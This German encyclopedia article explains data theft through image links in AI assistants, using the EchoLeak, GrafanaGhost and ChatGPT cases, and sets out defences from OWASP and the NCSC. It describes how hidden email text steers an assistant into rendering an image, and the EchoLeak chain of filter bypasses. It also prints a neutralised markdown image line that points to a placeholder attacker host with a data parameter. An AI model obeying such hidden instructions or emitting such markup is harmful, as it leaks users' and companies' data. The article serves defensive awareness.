---
id: CP-284
slug: exfiltration-daten-markdown-ki-assistent
lang: de
title: Datenabfluss durch ein Bild in einem KI-Assistenten
description: Ein versteckter Text in einer E-Mail kann einen KI-Assistenten ein Bild anzeigen lassen, das Ihre Daten trägt. Fälle EchoLeak, GrafanaGhost, Abwehr.
canonical_url: https://startbrain.io/cyberpedia/de/articles/exfiltration-daten-markdown-ki-assistent/
markdown_url: https://startbrain.io/cyberpedia/de/articles/exfiltration-daten-markdown-ki-assistent.md
publisher: Brain (https://startbrain.io)
license: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/)
cite_as: Brain, „Datenabfluss durch ein Bild in einem KI-Assistenten“, Cyberpedia, 2026. https://startbrain.io/cyberpedia/de/articles/exfiltration-daten-markdown-ki-assistent/ (CC BY 4.0)
wing: 4
theme: protect_data
reflex: air-025
schema: G1
updated: "2026-11-14"
translations:
  de: https://startbrain.io/cyberpedia/de/articles/exfiltration-daten-markdown-ki-assistent/
  fr: https://startbrain.io/cyberpedia/fr/articles/exfiltration-donnees-markdown-assistant-ia/
  en: https://startbrain.io/cyberpedia/en/articles/markdown-image-exfiltration-ai-assistant/
  es: https://startbrain.io/cyberpedia/es/articles/exfiltracion-datos-markdown-asistente-ia/
  it: https://startbrain.io/cyberpedia/it/articles/esfiltrazione-dati-markdown-assistente-ia/
  nl: https://startbrain.io/cyberpedia/nl/articles/gegevensexfiltratie-markdown-ai-assistent/
  pl: https://startbrain.io/cyberpedia/pl/articles/eksfiltracja-danych-markdown-asystent-ai/
  pt: https://startbrain.io/cyberpedia/pt/articles/exfiltracao-dados-markdown-assistente-ia/
  ja: https://startbrain.io/cyberpedia/ja/articles/markdown-image-exfiltration-ai-assistant/
sources:
  - "n": 1
    title: "EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System"
    publisher: arXiv
    url: https://arxiv.org/abs/2509.10540
    published: "2025-09-06"
    accessed: "2026-11-14"
  - "n": 2
    title: OWASP GenAI Exploit Round-up Report Q1 2026
    publisher: OWASP
    url: https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/
    published: "2026-04-14"
    accessed: "2026-11-14"
  - "n": 3
    title: LLM Prompt Injection Prevention Cheat Sheet
    publisher: OWASP
    url: https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html
    accessed: "2026-11-14"
  - "n": 4
    title: LLM02:2025 Sensitive Information Disclosure
    publisher: OWASP
    url: https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/
    published: "2024-04-10"
    accessed: "2026-11-14"
  - "n": 5
    title: Prompt injection is not SQL injection (it may be worse)
    publisher: NCSC (Royaume-Uni)
    url: https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection
    published: "2025-12-08"
    accessed: "2026-11-14"
  - "n": 6
    title: LLM06:2025 Excessive Agency
    publisher: OWASP
    url: https://genai.owasp.org/llmrisk/llm062025-excessive-agency/
    published: "2024-04-10"
    accessed: "2026-11-14"
  - "n": 7
    title: Exfiltration of personal information from ChatGPT via prompt injection
    publisher: arXiv
    url: https://arxiv.org/abs/2406.00199
    published: "2024-05-31"
    accessed: "2026-11-14"
---

# Datenabfluss durch ein Bild in einem KI-Assistenten

Im Fall von EchoLeak hat ein KI-Assistent Daten des Unternehmens abfließen lassen, ohne dass jemand auf irgendetwas geklickt hat [1]. Ein versteckter Text in einer E-Mail oder in einem Dokument gibt dem Assistenten Anweisungen [3]. Dieser zeigt daraufhin ein Bild an, dessen Adresse die Daten enthält [3], und das Bild wird automatisch abgerufen [1].

Zwei Fälle beschreiben diesen Mechanismus. Zu EchoLeak in Microsoft 365 Copilot beschreibt ein Artikel von Forschern eine Exfiltration von Daten aus der Ferne und ohne Authentifizierung durch eine einzige präparierte E-Mail, die automatisch abgerufene Bilder ausnutzt [1]. Bei GrafanaGhost haben Forscher eine Schwachstelle offengelegt, durch die der Assistent von Grafana ein externes Bild anzeigen konnte, das Daten des Unternehmens in einem Adressparameter an den Angreifer sendete [2].

## In 30 Sekunden

- Wo es vorkommt: wenn ein KI-Assistent einen Inhalt liest, den er nicht selbst geschrieben hat, etwa eine E-Mail, eine Webseite oder ein Dokument [3].
- Was der Angreifer will: Daten des Unternehmens auf einen Server schleusen, den er kontrolliert [2].
- Der Reflex: Geben Sie dem Assistenten nur die Daten, die für die Aufgabe nötig sind, denn eine versehentlich übergebene Information kann später in seinen Antworten wieder auftauchen [4].

## Direkte Fragen

### Muss man klicken, damit die Daten abfließen?

Nicht bei EchoLeak: Der beschriebene Angriff funktioniert ohne Zutun des Benutzers [1]. Bei GrafanaGhost hat Grafana erklärt, die Ausnutzung hätte eine erhebliche Interaktion des Benutzers erfordert [2].

### Was ist eine indirekte Prompt-Injection?

Laut dem britischen NCSC ist das der Fall, in dem ein Angreifer ohne direkten Zugang zum KI-System etwas schreibt, das am Ende vom System verarbeitet und für eine Anweisung gehalten wird [5]. OWASP zählt zu dieser Kategorie den Inhalt von E-Mails und Anhängen, die von KI-Assistenten verarbeitet werden, sowie versteckten Text in Webseiten, Dokumenten oder E-Mails [3].

### Warum gehorcht der Assistent einem Text, den man nicht sieht?

Laut dem britischen NCSC setzen die heutigen großen Sprachmodelle innerhalb eines Prompts keine Sicherheitsgrenze zwischen Anweisungen und Daten durch [5]. OWASP ergänzt, dass Verarbeitungsketten für Dokumente dem Modell häufig den extrahierten Text übergeben, ohne Rücksicht auf die Darstellung, sodass ein für den Leser unsichtbarer Text das Modell trotzdem erreicht [3].

### Welche Daten können abfließen?

OWASP nennt personenbezogene Daten, Finanzinformationen, Gesundheitsakten, vertrauliche Daten des Unternehmens, Sicherheitszugangsdaten sowie Rechtsdokumente [4].

### Genügt ein Filter für verdächtige Sätze?

Nein. Laut OWASP ist das Filtern von Eingaben keine Sicherheitsgrenze: Ein Angreifer kann eine Anweisung auf viele Arten umformulieren, die eine Sperrliste nicht erkennt [3]. Auch das britische NCSC warnt davor, bekannte schädliche Inhalte zu blockieren, denn es gibt unendlich viele Umformulierungen eines Angriffs [5].

### Kann dieses Risiko verschwinden?

Das britische NCSC hält es für möglich, dass die Prompt-Injection nie vollständig gemindert wird. Sicherheitsteams müssten wissen, dass sie ein Restrisiko bleibt, das durch Konzeption, Aufbau und Betrieb gesteuert wird [5].

### Was muss das Unternehmen begrenzen?

OWASP nennt drei Ursachen für übermäßige Befugnisse des Assistenten: zu viele Funktionen, zu viele Berechtigungen, zu viel Autonomie [6]. Jedes Werkzeug sollte nur die Daten und Vorgänge erhalten, die es braucht [3].

## In der Haut des Angreifers

Der Angreifer hat keinen Zugang zum Assistenten. Er schreibt einen Inhalt, den dieser am Ende lesen wird: eine E-Mail, ein Dokument, eine Seite [5]. Darin versteckt er Anweisungen, zum Beispiel mit Text in der Farbe des Hintergrunds, winzigem Text, überdecktem Text oder Text außerhalb der Seite [3].

Sein Ziel ist es, Daten des Unternehmens auf einen Server zu bekommen, den er kontrolliert [2]. OWASP beschreibt ein typisches Szenario: Ein persönlicher Assistent hat Zugriff auf den Posteingang, um eingehende E-Mails zusammenzufassen. Eine präparierte E-Mail bringt ihn dazu, den Posteingang nach sensiblen Informationen zu durchsuchen und sie an die Adresse des Angreifers weiterzuleiten [6]. In diesem Szenario enthält die vom Entwickler gewählte Erweiterung auch Funktionen zum Senden von Nachrichten, obwohl zum Zusammenfassen das Lesen genügt [6].

Zu EchoLeak beschreiben die Forscher eine Kette von Umgehungen: den Klassifikator XPIA (Cross Prompt Injection Attempt) von Microsoft, die Linkmaskierung (umgangen mit der Markdown-Syntax namens reference-style), automatisch geladene Bilder und einen Microsoft-Teams-Proxy, der von der Inhaltssicherheitsrichtlinie zugelassen war [1].

## Was Sie auf dem Bildschirm sehen

Der präparierte Text ist nicht zu sehen: Das ist sein Prinzip [3]. OWASP weist darauf hin, dass in seinen Risikokarten die Benutzer einer vertrauenswürdigen KI für Observabilität den Datenabfluss unwissentlich auslösen konnten [2].

Der Datenabfluss läuft über ein Bild. Das Beispiel von OWASP ist ein verborgenes Bild-Tag, dessen Adresse die zu stehlende Information enthält [3]. Hier eine neutralisierte Illustration dieses Prinzips, die nicht funktioniert:

```text
Neutralisierte, nicht funktionsfähige Illustration.
[Versteckter Text in einer E-Mail: Anweisung, die den Assistenten auffordert, ein Bild anzuzeigen]
![Bild](hxxps://angreifer-server[.]invalid/bild?daten=[Daten des Unternehmens])
```

Im Fall GrafanaGhost konnte der schädliche Kontext den Assistenten dazu bringen, seine Leitplanken zu ignorieren und ein externes Bild anzuzeigen, das die Daten als Adressparameter an den Angreifer sendete [2].

## Unter der Haube

Der Mechanismus besteht aus drei Elementen.

- Das Bild wird ohne Zutun des Benutzers abgerufen: EchoLeak nutzte automatisch geladene Bilder aus [1].
- Die Daten reisen in der Adresse des Bildes, als Adressparameter [2].
- Die Darstellung der Antwort des Assistenten wird zum Ausgabekanal: OWASP ordnet GrafanaGhost insbesondere der unsachgemäßen Behandlung der Modellausgaben (LLM05:2025) zu [2].

Die vom Unternehmen erwarteten Abwehrmaßnahmen betreffen diese drei Punkte.

- Filtern, was der Assistent anzeigt. Zu GrafanaGhost empfiehlt OWASP, externen Kontext zu bereinigen, die ausgehende Darstellung einzuschränken und die Prüfung von Adressen zu verstärken [2]. Die Checkliste von OWASP verlangt außerdem eine Bereinigung von HTML und Markdown bei der Anzeige [3]. Ein Leitplanken-Modell kann die Antwort prüfen, bevor sie dargestellt wird, auch um Markup für den Datenabfluss zu erkennen, ist aber selbst ein Modell und kann einer Prompt-Injection unterliegen [3].
- Die Rechte des Assistenten begrenzen. Die Autoren der EchoLeak-Studie ziehen als Lehre das Prinzip der geringsten Rechte, die gestaffelte Verteidigung und fortlaufende Tests aus Angreifersicht [1]. OWASP gibt Beispiele: dem Agenten keine Erweiterung anbieten, die den Inhalt einer Webadresse abruft, wenn das System sie nicht braucht, und eine Nachrichtenerweiterung auf das Lesen beschränken [6]. OWASP empfiehlt die Genehmigung durch einen Menschen für Aktionen mit großer Wirkung [6].
- Nach Herkunft trennen. Das britische NCSC nennt eine einfache Regel: Verarbeitet ein Modell Informationen einer Partei, sinken seine Privilegien auf die dieser Partei. Ein Assistent, der E-Mails externer Personen verarbeitet, darf daher keinen Zugriff auf privilegierte Werkzeuge haben [5].

Das britische NCSC hält fest, dass kein Produkt genügt, um die Prompt-Injection zu beseitigen, und dass man bestenfalls hoffen kann, ihre Wahrscheinlichkeit oder ihre Auswirkung zu verringern [5]. Für das britische NCSC sollten die Schutzmaßnahmen in der Konzeption eher auf deterministische Leitplanken außerhalb des Modells zielen, die die Aktionen des Systems begrenzen [5]. OWASP empfiehlt, diese Grenzen mit Scheindaten und instrumentierten Ersatzwerkzeugen zu testen [3].

Für Beschäftigte gilt laut OWASP: Die Benutzer sollten das Risiko verstehen, unbeabsichtigt sensible Daten zu übergeben, die dann in der Ausgabe des Modells erscheinen können [4]. OWASP empfiehlt, Hinweise bereitzustellen, um die Eingabe sensibler Informationen zu vermeiden [4], und nur Zugriff auf die Daten zu gewähren, die der betreffende Benutzer oder Prozess braucht [4].

## Fallanalysen

### EchoLeak in Microsoft 365 Copilot, Studie vom September 2025

EchoLeak trägt die Kennung CVE-2025-32711. Die Forscher beschreiben es als Prompt-Injection ohne Klick in Microsoft 365 Copilot, die eine Exfiltration von Daten aus der Ferne und ohne Authentifizierung durch eine einzige präparierte E-Mail ermöglichte [1]. Der Artikel wurde am 6. September 2025 auf arXiv hinterlegt und erschien in der AAAI Fall Symposium Series 2025 [1].

Die beschriebene Kette kombiniert die Umgehung des Klassifikators XPIA, die Markdown-Syntax reference-style, automatisch geladene Bilder und einen Teams-Proxy, der von der Inhaltssicherheitsrichtlinie zugelassen war [1]. Als Maßnahmen schlagen die Autoren die Aufteilung der Prompts, ein verstärktes Filtern der Eingaben und Ausgaben, eine herkunftsbasierte Zugriffskontrolle und strenge Inhaltssicherheitsrichtlinien vor [1].

### GrafanaGhost, April 2026

OWASP datiert die Offenlegung auf den 7. April 2026 und die Bestätigung eines Patches auf den 8. April [2]. Noma Security fand eine Schwäche in den KI-Komponenten von Grafana, durch die sich das System auf externe Ressourcen mit versteckten Anweisungen lenken ließ [2]. Der Assistent konnte dann ein externes Bild anzeigen, das Daten des Unternehmens als Adressparameter an den Angreifer sendete [2].

Grafana gab anschließend an, ein Problem bei der Darstellung von Markdown-Bildern sei schnell behoben worden und die Ausnutzung hätte eine erhebliche Interaktion des Benutzers erfordert [2]. OWASP präzisiert, dass keine öffentliche CVE vergeben wurde und ein teilweiser Patch auf die Darstellungskomponente angewendet wurde [2]. Es handelt sich um eine Offenlegung aus der Forschung [2].

### ChatGPT und personenbezogene Daten, Mai 2024

In einem am 31. Mai 2024 hinterlegten Artikel berichtet der Autor, ChatGPT 4 und 4o seien anfällig für eine Prompt-Injection gewesen, die es einem Angreifer erlaubte, personenbezogene Daten der Benutzer zu exfiltrieren [7]. Nach seinen Angaben ließ sich der Angriff ohne Werkzeug eines Dritten anwenden, und alle Benutzer waren damals betroffen [7]. Die Speicherfunktion von ChatGPT verschlimmerte die Schwachstelle, denn sie erlaubte es dem Angreifer, den Benutzer überwachen zu lassen, um die gewünschten Daten zu erhalten [7].

## Quellen

1. arXiv, „EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System“, 6. September 2025. https://arxiv.org/abs/2509.10540 (abgerufen am 14. November 2026)
2. OWASP, „OWASP GenAI Exploit Round-up Report Q1 2026“, 14. April 2026. https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/ (abgerufen am 14. November 2026)
3. OWASP, „LLM Prompt Injection Prevention Cheat Sheet“. https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html (abgerufen am 14. November 2026)
4. OWASP, „LLM02:2025 Sensitive Information Disclosure“, 10. April 2024. https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/ (abgerufen am 14. November 2026)
5. NCSC (Royaume-Uni), „Prompt injection is not SQL injection (it may be worse)“, 8. Dezember 2025. https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection (abgerufen am 14. November 2026)
6. OWASP, „LLM06:2025 Excessive Agency“, 10. April 2024. https://genai.owasp.org/llmrisk/llm062025-excessive-agency/ (abgerufen am 14. November 2026)
7. arXiv, „Exfiltration of personal information from ChatGPT via prompt injection“, 31. Mai 2024. https://arxiv.org/abs/2406.00199 (abgerufen am 14. November 2026)

---

Originalquelle: Cyberpedia, die öffentliche Enzyklopädie zu Cybersicherheit und KI von Brain. Kanonische Version: https://startbrain.io/cyberpedia/de/articles/exfiltration-daten-markdown-ki-assistent/
Sie dürfen diesen Text unter der Lizenz CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/) frei weiterverwenden, sofern Sie „Brain, Cyberpedia“ mit einem Link auf die obige Adresse nennen.
